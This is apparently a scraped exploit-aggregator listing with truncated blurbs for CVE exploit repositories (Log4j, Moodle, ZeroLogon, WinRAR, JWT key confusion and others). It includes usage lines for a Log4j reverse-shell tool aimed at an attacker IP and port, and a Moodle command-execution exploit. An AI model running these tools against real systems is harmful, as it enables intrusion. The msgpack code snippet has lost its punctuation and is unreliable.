Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Usage root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l...

heartbleed-checker

heartbleed-checker Check for CVE-2014-0160...

CVE-2018-1133-Exploit

CVE-2018-1133-Exploit This repository contains a python exploit script for the Moodle Evil Teacher exploit CVE-2018-1133. Usage root@kitploit: usage: Moodle Evil Teacher Exploit -h -u URL -l LOGIN -p PASSWORD -c COMMAND -P PROXY options: -h, --help show this help message and exit -u URL, --url UR...

CVE-2024-0760

This repository does not have a README...

CVE-2023-1698

Este repositorio no tiene un README...

CVE-2020-1472-ZeroLogon-Demo-Detection-Mitigation

Demostración de detección y mitigación de CVE-2020-1472 ZeroLogon Este proyecto demuestra la detección y mitigación de la vulnerabilidad crítica de Windows CVE-2020-1472, también conocida como ZeroLogon. Esta vulnerabilidad permite a los atacantes obtener acceso administrativo no autenticado. Fue...

msgpack-CVE-2021-23410-test

Test for https://snyk.io/vuln/SNYK-JS-MSGPACK-1296122 This looks like not vulerbility. root@kitploit: var assert = require'assert'; var msgpack = require'msgpack'; function sleepms return new Promiseresolve = setTimeoutresolve, ms; ; async function init var normal = "a": 1, "b": 2, "c": 1, 2, 3 ;...

CVE-2022-25636-PipeVersion

CVE-2022-25636 pipe version Using pipe-primitive to exploit CVE-2022-25636, so no kaslr leak nor smap smep ktpi bypass is needed : Q: What is pipe-primitive? A: https://github.com/veritas501/pipe-primitive...

cve-2011-1575-poc

This repository does not have a README...

SVPT_CW_2

CVE-2024-21413 https://github.com/KartheekKandalam99/SVPTCW2 CVE-2024-21413 Setup for CW TRYHACKME provided room for working on this vulnerability. Below is the link to access the room https://tryhackme.com/r/room/monikerlink To access room through RDP we have to connect to TryHackMe VPN. Click...

cve-2015-8103

CVE-2015-8103 This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2015-8103 Image author: https://github.com/Medicean/VulApps/tree/master/j/jboss/1...

CVE-2015-7547-Research

Initial work on glibc exploit CVE-2015-7547. Currently just returns to libc and calls system to provide a shell. This version does not account for ASLR yet...

CVE-2021-46704

OS Command Injection in GenieACS CVE-2021-46704 CVE-2021-46704 Nuclei template Reference : https://github.com/advisories/GHSA-2877-693q-pj33 https://nvd.nist.gov/vuln/detail/CVE-2021-46704 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-46704...

CVE-2021-22911

CVE-2021-22911 Modifed ver of the original exploit to save some times on password reseting for unprivileged user The script assumes that you can register the account or already know credentials of unprivileged users. Change the password to the valid password on line: 63,73,96. Original exploit:...

CVE-2024-38475_SonicBoom_Apache_URL_Traversal_PoC

CVE-2024-38475SonicBoomApacheURLTraversalPoC Author: abrewer251 A proof-of-concept tool for testing CVE-2024-38475 "SonicBoom" Apache URL traversal vulnerability. This script automates TLS negotiation, directory scanning, traversal verification, and payload fuzzing to identify unauthorized file...

cve-exploit

CVE-EXPLOIT Use this software only for legal purposes. I am in no way responsible for your actions. Use python 3.11.2 Made by Edu0x01 DESCRIPTION cve-exploit is a hub for finding CVEs and exploits. It is based on the official NIST, ExploitDB and Github databases. The tool makes it quick and easy ...

ff4j__ff4j_CVE-2022-44262_1_8_13_fixed

✨✨✨ FF4J - Feature Flipping for Java ✨✨✨ Codacy Badge FF4j, is an implementation of the Feature Toggle pattern. 🤘Features Feature Toggle: Enable. and disable features at runtime - no deployments. In your code implement multiple paths protected by dynamic predicates if/then/else. Role-based...

CVE-2023-38831

CVE-2023-38831 PoC This is an easy to use exploit for the CVE-2023-38831 Usage Check vulnerable versions: Run the exploit: Get the shell:...

cve-2012-1889

heapspray How to perform precise heap spraying demo Live demo...

jwt-key-confusion-poc

PoC de confusión de claves JWT CVE-2015-9235 Escrito para los desafíos de Hack the Box - Under Construction y Secret Ambos scripts incluidos realizan un ataque de confusión de claves de Java Web Token CVE-2015-9235. Para realizar el ataque, se requiere que el atacante conozca la clave pública que...